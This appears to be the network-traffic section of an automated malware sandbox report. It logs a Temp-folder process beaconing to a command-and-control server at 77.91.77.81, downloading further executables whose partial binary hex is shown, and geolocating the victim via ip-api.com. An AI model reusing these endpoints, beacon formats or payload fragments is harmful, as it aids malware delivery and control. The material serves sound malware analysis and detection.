Jun 4, 2024 23:09:26.237009048 CEST	1236	IN	Data Raw: 00 00 00 00 8d 1c 8e 8b 45 0c 8b 00 89 03 8b 47 04 8b 0f 3b d0 75 07 2b c1 50 51 56 eb 1b 2b d1 52 51 56 e8 87 6f 00 00 83 c4 0c 8d 4b 04 8b 47 04 8b 55 08 2b c2 50 52 51 e8 71 6f 00 00 83 c4 0c c7 45 fc ff ff ff ff 8b 07 85 c0 74 2c 8b 4f 08 2b Data Ascii: EG;u+PQV+RQVoKGU+PRQqoEt,O+r#P+w?QPt]7EOMOMdY_^[]'ruuM"jjjUjhP;BdPSVWG3PEd
Jun 4, 2024 23:09:26.237029076 CEST	1236	IN	Data Raw: 60 0f 0f 47 74 24 4c 8a 06 3c 7f 74 32 8b 6c 24 18 84 c0 7e 2a 0f be c8 8b c7 2b c3 3b c8 73 1f 55 2b f9 8d 4c 24 38 6a 01 57 e8 4c 2c 00 00 80 7e 01 00 8d 46 01 0f 4f f0 8a 06 3c 7f 75 d2 8b 6c 24 20 8b 7c 24 44 83 7d 24 00 8b 75 20 7c 0e 7f 04 Data Ascii: `Gt$L<t2l$~*+;sU+L$8jWL,~FO<ul$ \|$D}$u \|t;v+3E%@=t[V$D$,t$\|t$\|Pt$$3\|$`SHD$PGD$PPQRD$L$Pt$<$P0\|$HD$4SGD$8Pt$\|D$0t$\|Pt$
Jun 4, 2024 23:09:26.237039089 CEST	636	IN	Data Raw: 31 57 8d 4c 24 14 e8 57 2e 00 00 39 1d 68 d0 47 00 75 10 a1 e8 d2 47 00 40 a3 e8 d2 47 00 a3 68 d0 47 00 8d 4c 24 10 e8 8e 2e 00 00 8b 3d 68 d0 47 00 8b 4c 24 54 8d 2c bd 00 00 00 00 8b 49 04 3b 79 0c 73 10 8b 41 08 8b 34 28 85 f6 0f 85 f1 00 00 Data Ascii: 1WL$W.9hGuG@GhGL$.=hGL$T,I;ysA4(38Yt84;xs@4(D$tL$3._^][@j{St}D$T@txuxRBjL$ -3\$ \$$\$(\$,\$0fD$4D$8fD$<D$@D$
Jun 4, 2024 23:09:26.237154007 CEST	1236	IN	Data Raw: c7 47 14 00 00 00 00 81 fb ff ff ff 7f 0f 87 81 00 00 00 83 fb 0f 77 25 0f be 44 24 10 53 50 57 89 5f 10 c7 47 14 0f 00 00 00 e8 dc 68 00 00 83 c4 0c c6 04 3b 00 8b c7 5f 5b c2 08 00 8b c3 83 c8 0f 3d ff ff ff 7f 76 07 b8 ff ff ff 7f eb 0a b9 16 Data Ascii: Gw%D$SPW_Gh;_[=v;BD$D$VPWQL$OL$SQV7_h^_[RT$WVWFxF@u+PRM_^Vj+3FfF
Jun 4, 2024 23:09:26.237165928 CEST	1236	IN	Data Raw: 8b f9 8d 47 04 50 c7 07 e8 51 42 00 66 0f d6 00 8d 46 04 50 e8 fc 59 00 00 c7 07 54 52 42 00 83 c4 08 8b 46 0c 8b 4e 10 89 47 0c 8b c7 89 4f 10 c7 07 28 53 42 00 5f 5e c2 04 00 cc cc cc cc cc cc cc cc cc cc cc cc 83 ec 1c a1 00 c1 47 00 33 c4 89 Data Ascii: GPQBfFPYTRBFNGO(SB_^G3D$T$ WD$$SUVXD$W8D$D$$ifAu+QRL$D$PSWL$$v)T$ArP#+w'QRLL$(_(SB^][3L
Jun 4, 2024 23:09:26.237173080 CEST	1236	IN	Data Raw: cc cc cc 51 56 8b f1 83 3e 00 75 26 6a 00 8d 4c 24 08 e8 27 22 00 00 83 3e 00 75 0d a1 e8 d2 47 00 40 a3 e8 d2 47 00 89 06 8d 4c 24 04 e8 64 22 00 00 8b 06 5e 59 c3 cc cc cc cc cc cc cc cc cc cc cc cc 56 8b f1 8b 46 10 c7 06 f8 52 42 00 85 c0 7e Data Ascii: QV>u&jL$'">uG@GL$d"^YVFRB~vyvGvRBD$tjVG^D$VRBtjVtG^VvSB4v,v$RBD$t
Jun 4, 2024 23:09:26.237184048 CEST	1236	IN	Data Raw: 5e c2 04 00 cc cc cc cc cc cc cc cc cc cc cc f0 ff 41 04 c3 cc cc cc cc cc cc cc cc cc cc cc 83 ec 48 a1 00 c1 47 00 33 c4 89 44 24 44 8b 44 24 50 8b 4c 24 64 53 55 8b 6c 24 64 56 57 8b 7c 24 78 89 44 24 20 89 4c 24 10 85 ff 74 11 8a 01 3c 2b 74 Data Ascii: ^AHG3D$DD$PL$dSUl$dVW\|$xD$ L$t<+t<-u3E%=uC;w<0uLxtXuE0pt$PD$PxD$tPtjjWL$,\|$8D$$L$GD$$t$PPQR
Jun 4, 2024 23:09:26.237195969 CEST	848	IN	Data Raw: 39 8b 48 20 83 39 00 74 1d 8b 50 30 8b 0a 85 c9 7e 14 49 89 0a 8b 48 20 8b 11 8d 42 01 89 01 88 1a 0f b6 c3 eb 0b 8b 10 0f b6 cb 51 8b c8 ff 52 0c 83 f8 ff 8b 44 24 18 75 05 c6 44 24 14 01 83 ee 01 75 b9 5b 8b 54 24 0c 8b 4c 24 10 5e 89 42 04 8b Data Ascii: 9H 9tP0~IH BQRD$uD$u[T$L$^B$5h$BD$PK$ehBD$PKh4RBh$TBhTBS\$UVWwo+t$;w2+G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.11	49720	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:09:28.387697935 CEST	180	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 30 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000009001&unit=246122658369
Jun 4, 2024 23:09:29.279294014 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:09:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Jun 4, 2024 23:09:29.306435108 CEST	55	OUT	GET /lend/lrthijawd.exe HTTP/1.1 Host: 77.91.77.81
Jun 4, 2024 23:09:29.590795994 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:09:29 GMT Content-Type: application/octet-stream Content-Length: 920370 Last-Modified: Mon, 03 Jun 2024 20:50:50 GMT Connection: keep-alive ETag: "665e2caa-e0b32" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 24 84 32 e2 60 e5 5c b1 60 e5 5c b1 60 e5 5c b1 d4 79 ad b1 68 e5 5c b1 d4 79 af b1 eb e5 5c b1 d4 79 ae b1 6d e5 5c b1 e0 9e a1 b1 62 e5 5c b1 e0 9e 58 b0 72 e5 5c b1 e0 9e 5f b0 6a e5 5c b1 e0 9e 59 b0 59 e5 5c b1 69 9d df b1 69 e5 5c b1 69 9d db b1 62 e5 5c b1 69 9d cf b1 67 e5 5c b1 60 e5 5d b1 43 e4 5c b1 ee 9e 59 b0 52 e5 5c b1 ee 9e 5c b0 61 e5 5c b1 ee 9e a3 b1 61 e5 5c b1 ee 9e 5e b0 61 e5 5c b1 52 69 63 68 60 e5 5c b1 00 00 00 00 00 00 00 00 50 45 00 00 64 86 08 00 23 97 40 66 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 21 00 68 04 00 00 86 02 00 00 00 00 00 e0 2e 03 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$$2`\`\`\yh\y\ym\b\Xr\_j\YY\ii\ib\ig\`]C\YR\\a\a\^a\Rich`\PEd#@f"!h.@`4P\|l0p6T7(@ .textngh `.rdata(*l@@.data\@.pdatal02@@.didat`@_RDATA\@@.rsrc\|@@.relocp@B
Jun 4, 2024 23:09:29.590814114 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 8d 0d 39 b9 05 00 e9 10 8e 00 00 cc cc cc cc 48 8d 0d c9 f9 05 00 e9 b8 a4 00 Data Ascii: H9HH(H5dHeH(HeH(jH(HjHelHe\H(HlHeH(
Jun 4, 2024 23:09:29.590826035 CEST	424	IN	Data Raw: f9 4c 8b f2 48 8b f9 48 3b d3 0f 87 02 01 00 00 48 8b 69 18 48 83 ca 07 45 33 e4 48 3b d3 77 11 48 8b cd 48 8b c3 48 d1 e9 48 2b c1 48 3b e8 76 10 48 b8 ff ff ff ff ff ff ff 7f 48 8d 0c 00 eb 31 48 8d 04 29 48 8b da 48 3b d0 48 0f 42 d8 48 b8 ff Data Ascii: LHH;HiHE3H;wHHHH+H;vHH1H)HH;HBHHKH;HHrLHHtIH_IK6LwLH fD$3Hr1HHmHrLAH'I+HAHw3IH7HH\$@Hl$HH
Jun 4, 2024 23:09:29.590840101 CEST	1236	IN	Data Raw: ff 7f 48 8d 4b 01 48 3b c8 0f 87 e9 00 00 00 48 03 c9 48 81 f9 00 10 00 00 72 0a e8 fb fb ff ff 48 8b f8 eb 0f 48 85 c9 74 07 e8 5c 0b 03 00 eb ef 49 8b f8 48 8b 44 24 70 4f 8d 04 36 4c 03 f0 4c 89 7e 10 48 89 5e 18 4d 8d 24 38 48 8b cf 4c 8d 3c Data Ascii: HKH;HHrHHt\IHD$pO6LL~H^M$8HL<HrSHHMII3HmfBwHrHKH'H+HCHwMHHHGMII93fBwH>HH\$PHl$XHt$`H A_A^A]A\_a
Jun 4, 2024 23:09:29.590897083 CEST	212	IN	Data Raw: 48 8b d3 48 8d 4d e0 e8 77 f7 ff ff 90 45 33 c0 48 8d 55 e0 48 8d 4d 60 e8 96 f6 ff ff 90 4c 8b c3 48 8b d0 48 8d 4d 40 e8 0a f6 ff ff 90 45 33 c0 48 8b d0 48 8d 4d 20 e8 76 f6 ff ff 90 48 8b d0 48 83 78 18 08 72 03 48 8b 10 4c 8b 40 10 48 8d 4d Data Ascii: HHMwE3HUHM`LHHM@E3HHM vHHxrHL@HMHM %HM@HM`HUHr2HUHMHH;rH'HIH+HH@HLmWEH]
Jun 4, 2024 23:09:29.591011047 CEST	1236	IN	Data Raw: 4c 8b c0 48 8b d3 48 8d 4d e0 e8 a0 f6 ff ff 90 45 33 c0 48 8d 55 e0 48 8d 8d 80 00 00 00 e8 bc f5 ff ff 90 4c 8d 05 a0 6d 04 00 48 8b d0 48 8d 4d 20 e8 2c f5 ff ff 90 45 33 c0 48 8b d0 48 8d 4d 40 e8 98 f5 ff ff 90 45 33 c0 48 8b d0 48 8d 4d 60 Data Ascii: LHHME3HUHLmHHM ,E3HHM@E3HHM`HHxrHL@HMHM`7HM@-HM #HHUHr2HUHMHH;rH'HIH+HHEWD$ Ll$0HL$
Jun 4, 2024 23:09:29.591023922 CEST	1236	IN	Data Raw: c0 48 8b f9 4c 3b 41 18 77 2b 48 83 79 18 08 48 8b f1 72 03 48 8b 31 4b 8d 1c 00 48 89 41 10 4c 8b c3 48 8b ce e8 55 15 03 00 33 c9 48 8b c7 66 89 0c 33 eb 13 33 c9 4c 8b ca 44 8a c1 48 8b d0 48 8b cf e8 6b f3 ff ff 48 8b 5c 24 30 48 8b 74 24 38 Data Ascii: HL;Aw+HyHrH1KHALHU3Hf33LDHHkH\$0Ht$8H _HyH<hHEAH\$Ht$WH HqHLHI+HH;sIQ3v5HGI+HH;vH.H+HH3L`H3HGH\$0Ht$8H _HL$SVWAVAW
Jun 4, 2024 23:09:29.591034889 CEST	1236	IN	Data Raw: 49 48 8b cb ff 15 29 bd 06 00 48 85 c0 74 3b ba 21 30 00 00 48 8b c8 ff 15 46 bd 06 00 48 85 c0 74 28 f6 44 24 60 08 74 21 48 8d 15 0f 64 04 00 48 8b c8 ff 15 12 bd 06 00 eb 0f 48 8b d3 48 8d 0d 86 e3 05 00 e8 95 7e 01 00 32 c0 48 83 c4 20 5b c3 Data Ascii: IH)Ht;!0HFHt(D$`t!HdHHH~2H [H\$Hl$Ht$WH HIHIHHt3HSH+HHHrLAH'I+HAHw0IHoH;Hl$8HCHwHt$@HCH\$0H _RH(HKHr
Jun 4, 2024 23:09:29.591047049 CEST	636	IN	Data Raw: 83 38 14 00 00 0f 00 00 00 48 89 ab a0 14 00 00 48 89 ab b0 14 00 00 48 89 83 b8 14 00 00 66 89 ab a0 14 00 00 48 89 ab 88 0b 00 00 48 85 ff 0f 94 c0 88 83 80 0b 00 00 48 85 ff 75 23 b9 08 07 00 00 e8 20 f7 02 00 48 89 44 24 48 48 85 c0 74 0a 48 Data Ascii: 8HHHfHHHu# HD$HHtHgHHHC8HPXH`H@\fhH@HHHHH!W3HXhx@
Jun 4, 2024 23:09:29.591444016 CEST	1236	IN	Data Raw: 30 14 00 00 00 48 c7 87 38 14 00 00 0f 00 00 00 c6 87 20 14 00 00 00 48 8d 8f 20 10 00 00 e8 88 03 00 00 48 8d 8f 80 0c 00 00 e8 7c 03 00 00 48 8d 8f 20 0c 00 00 e8 80 f2 ff ff 48 8d 8f 40 0a 00 00 e8 60 5a 01 00 90 48 8d 8f b0 01 00 00 4c 8d 0d Data Ascii: 0H8 H H\|H H@`ZHLA!LPDBHOhHH\$0H _KH\$Ht$WH H3HHtIHH+HH;rLAH'I+HAHoI3
Jun 4, 2024 23:09:29.591470003 CEST	212	IN	Data Raw: cc cc cc 40 53 48 83 ec 20 48 8b 51 48 48 8b d9 48 83 fa 10 72 2d 48 8b 49 30 48 ff c2 48 81 fa 00 10 00 00 72 18 4c 8b 41 f8 48 83 c2 27 49 2b c8 48 8d 41 f8 48 83 f8 1f 77 1f 49 8b c8 e8 10 f0 02 00 48 83 63 40 00 48 c7 43 48 0f 00 00 00 c6 43 Data Ascii: @SH HQHHHr-HI0HHrLAH'I+HAHwIHc@HCHC0H [FH\$WH H tHH\$0HH _@SH Hu'8iuHS@:(HX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.11	49727	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:09:31.360285997 CEST	180	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 31 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000012001&unit=246122658369
Jun 4, 2024 23:09:32.278851032 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:09:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Jun 4, 2024 23:09:32.300311089 CEST	56	OUT	GET /lend/services64.exe HTTP/1.1 Host: 77.91.77.81
Jun 4, 2024 23:09:32.585383892 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:09:32 GMT Content-Type: application/octet-stream Content-Length: 17697280 Last-Modified: Tue, 04 Jun 2024 15:14:55 GMT Connection: keep-alive ETag: "665f2f6f-10e0a00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 68 72 ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 64 86 0a 00 95 d7 5d 66 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 00 00 b6 00 00 00 f2 52 00 00 00 00 00 1e 7b 1b 01 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 d9 01 00 04 00 00 00 00 00 00 02 00 60 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 68 07 97 01 64 00 00 00 00 00 00 00 00 00 00 00 60 fd d8 01 08 2b 00 00 00 00 00 00 00 00 00 00 00 30 d9 01 14 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a8 95 1d 01 28 00 00 00 20 fc [TRUNCATED] Data Ascii: MZx@xhr!L!This program cannot be run in DOS mode.$PEd]f"R{@@`hd`+0( 8 h.text `.rdataPC@@.dataR @.pdataT@@.00cfgT@@.tls T@.\|Q+Cv0T `.=S+P @.g<7h0`h.reloc0@B
Jun 4, 2024 23:09:32.585398912 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 fc 92 01 00 00 00 00 00 00 00 00 00 00 00 00 ca ad 99 01 00 00 00 Data Ascii: 0$a9w^5e
Jun 4, 2024 23:09:32.585412025 CEST	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jun 4, 2024 23:09:32.585477114 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jun 4, 2024 23:09:32.585551023 CEST	1236	IN	Data Raw: 72 38 da 59 52 ec 33 90 be 6a 1f e7 8e f0 61 91 32 29 a5 02 a1 ed 36 68 a9 36 93 1b eb fd 4b a2 10 28 de 1a 5e 72 38 da e4 c0 0b 72 2d 03 79 06 aa 91 83 6e f1 cc de f4 78 fb f4 0a c0 ff 69 55 7c 32 03 30 99 76 85 a4 5f 72 38 da a8 f8 7c 3b fb 04 Data Ascii: r8YR3ja2)6h6K(^r8r-ynxiU\|20v_r8\|;!icvad&<jGH5qLW\|3J:2Zs>Zs9t>FJ!c=cI#b@o<c;<@N;P :<1
Jun 4, 2024 23:09:32.585570097 CEST	1236	IN	Data Raw: 3b 73 44 18 fe 3a 43 aa d4 18 fe 3a 03 53 b4 18 fe 3a 53 2a 62 a0 36 3d 4c ec 2d 2f 3b 49 08 c5 5c 63 2e 43 48 08 c5 65 f3 2f e8 c1 50 cf 8d 0e e1 69 c2 b5 2d 7d b1 99 03 3f cd a8 9c 42 96 71 5f c6 50 f5 e5 6a 47 ab da e6 46 16 de 02 53 f9 c5 40 Data Ascii: ;sD:C:S:S*b6=L-/;I\c.CHe/Pi-}?Bq_PjGFS@9G9S{;,:{A^P%8A{+H[B:tz<T_}\|fO1a.="Lf T=(AtA4TO&@(PGF" #vP8-\|:)
Jun 4, 2024 23:09:32.585581064 CEST	1236	IN	Data Raw: cc b0 90 7f 71 6d 8e ab 81 cb fa 28 b4 17 f2 80 ad 89 a5 ab 57 a7 c9 a1 a5 cf f5 91 da 01 3d a6 50 49 d9 c0 1f 06 60 20 90 f7 da 86 d5 3d 41 ca f3 19 c9 c2 b7 df 83 c3 cc ce 23 8c 4e 27 e8 78 2e 03 8f af 50 8b 49 e7 1a bd b3 a7 0d e8 8c 0f cc 2c Data Ascii: qm(W=PI` =A#N'x.PI,?07tG,cXrs0at0!l0LBTd=fQcF6Rn\|ay=V,DQ?xd5hvJdv`=V"RBZI!=^W7,8
Jun 4, 2024 23:09:32.585592031 CEST	848	IN	Data Raw: ae 4c d4 26 d1 02 12 fe 8a 8b 70 02 ad ce 4a ae b4 b8 1c bb 80 00 28 f6 e7 bf a1 13 7f 6c 05 b2 9f 68 f1 f0 db 77 82 a4 07 de dc 72 44 16 f8 fb 26 ea df 2d 34 50 19 d0 74 ed 68 72 b4 cd 58 cc 29 21 cf af c1 53 d8 88 21 ac ae c9 8a 33 94 20 e5 8a Data Ascii: L&pJ(lhwrD&-4PthrX)!S!3 NoD,4Wzo^C4&VQejihS5B}y<4y~E?%5SCo-4i\q!JsmK~sv,40iYLC3l)sUF(4{}xaw2-L6G)-4
Jun 4, 2024 23:09:32.585664034 CEST	1236	IN	Data Raw: 14 ee e6 aa ec 15 52 9e 0a 55 4a d8 f9 7a 1d e9 43 bd 8f 91 42 4a 69 f9 7e 7a 16 fc 65 6d fb a0 73 ea ee c2 6d 7e 5e 35 6d 8a bb 4d 20 85 86 70 d2 f9 3c ca ba c5 0c b5 c1 92 42 6a eb cf 2e 4c 09 78 4e 28 0e ed 97 3d 6a 4b 0b c0 92 82 6a 76 5e 4f Data Ascii: RUJzCBJi~zemsm~^5mM p<Bj.LxN(=jKjv^OJsF)<g[=pypZMTjZLXuy9'AL7,j/uQW;T8"-j_0OzX4bX29LjpljlI*of5:_5&zi1,4Ks
Jun 4, 2024 23:09:32.585675001 CEST	1236	IN	Data Raw: 78 97 39 e5 06 c5 2c 5c 01 5b 4c 9a 12 9d c7 b0 79 d6 3f b4 52 1d da 72 67 58 e9 4b dd 17 28 c0 4b 6c e3 ac f4 a1 a3 38 bf a4 67 b1 a7 0e e0 f0 ee 3f d1 76 c9 cd 86 2e 24 a7 29 b8 95 49 e6 f4 1a 48 04 16 7d 74 1a 48 04 b6 2e 34 1a 48 04 55 1e 64 Data Ascii: x9,\[Ly?RrgXK(Kl8g?v.$)IH}tH.4HUdxBjYFjCKb<]ssXS}Yz{+k4{V-VyiH3-]Ow2Ey@0do'\DQ'fk
Jun 4, 2024 23:09:32.585686922 CEST	424	IN	Data Raw: ce be 88 be 28 ab 23 e5 3f a0 e4 19 39 9d 97 83 f1 27 2c e9 1e 23 47 f8 ac ae c7 36 53 dc b4 c4 14 f3 f3 b5 05 bf 9c 6a 05 6f 44 3d cb 9c cd c0 50 07 27 8e e9 dd 68 2f c5 64 6b f2 97 c5 fa a9 c8 11 71 d8 3d ec b3 dc 38 c2 b0 73 32 d6 28 3f 70 2f Data Ascii: (#?9',#G6SjoD=P'h/dkq=8s2(?p/qA:-K(d=&wihH}\|3u&#K=i~Yisd\:bKOnd(')s0p5J\c~Shc&0n\h>0]"m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.11	49739	208.95.112.1	80	8068	C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:09:38.050405979 CEST	124	OUT	GET /json HTTP/1.1 Host: ip-api.com Accept: / Accept-Encoding: gzip, deflate User-Agent: Python/3.10 aiohttp/3.8.6
Jun 4, 2024 23:09:38.640309095 CEST	468	IN	HTTP/1.1 200 OK Date: Tue, 04 Jun 2024 21:09:38 GMT Content-Type: application/json; charset=utf-8 Content-Length: 291 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 22 72 65 67 69 6f 6e 22 3a 22 54 58 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 54 65 78 61 73 22 2c 22 63 69 74 79 22 3a 22 4b 69 6c 6c 65 65 6e 22 2c 22 7a 69 70 22 3a 22 37 36 35 34 39 22 2c 22 6c 61 74 22 3a 33 31 2e 30 30 36 35 2c 22 6c 6f 6e 22 3a 2d 39 37 2e 38 34 30 36 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 22 2c 22 69 73 70 22 3a 22 51 75 61 64 72 61 4e 65 74 22 2c 22 6f 72 67 22 3a 22 4f 4d 47 49 54 53 46 41 53 54 22 2c 22 61 73 22 3a 22 41 53 38 31 30 30 20 51 75 61 64 72 61 4e 65 74 20 45 6e 74 65 72 70 72 69 73 65 73 20 4c 4c 43 22 2c 22 71 75 65 72 79 22 3a 22 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 31 22 7d Data Ascii: {"status":"success","country":"United States","countryCode":"US","region":"TX","regionName":"Texas","city":"Killeen","zip":"76549","lat":31.0065,"lon":-97.8406,"timezone":"America/Chicago","isp":"QuadraNet","org":"OMGITSFAST","as":"AS8100 QuadraNet Enterprises LLC","query":"173.254.250.91"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.11	49740	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:09:38.065885067 CEST	180	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 31 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000014001&unit=246122658369
Jun 4, 2024 23:09:39.218862057 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:09:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Jun 4, 2024 23:09:39.219278097 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:09:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.11	49742	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:09:39.538501024 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 4, 2024 23:09:40.430754900 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:09:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.11	49745	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:09:40.657006025 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
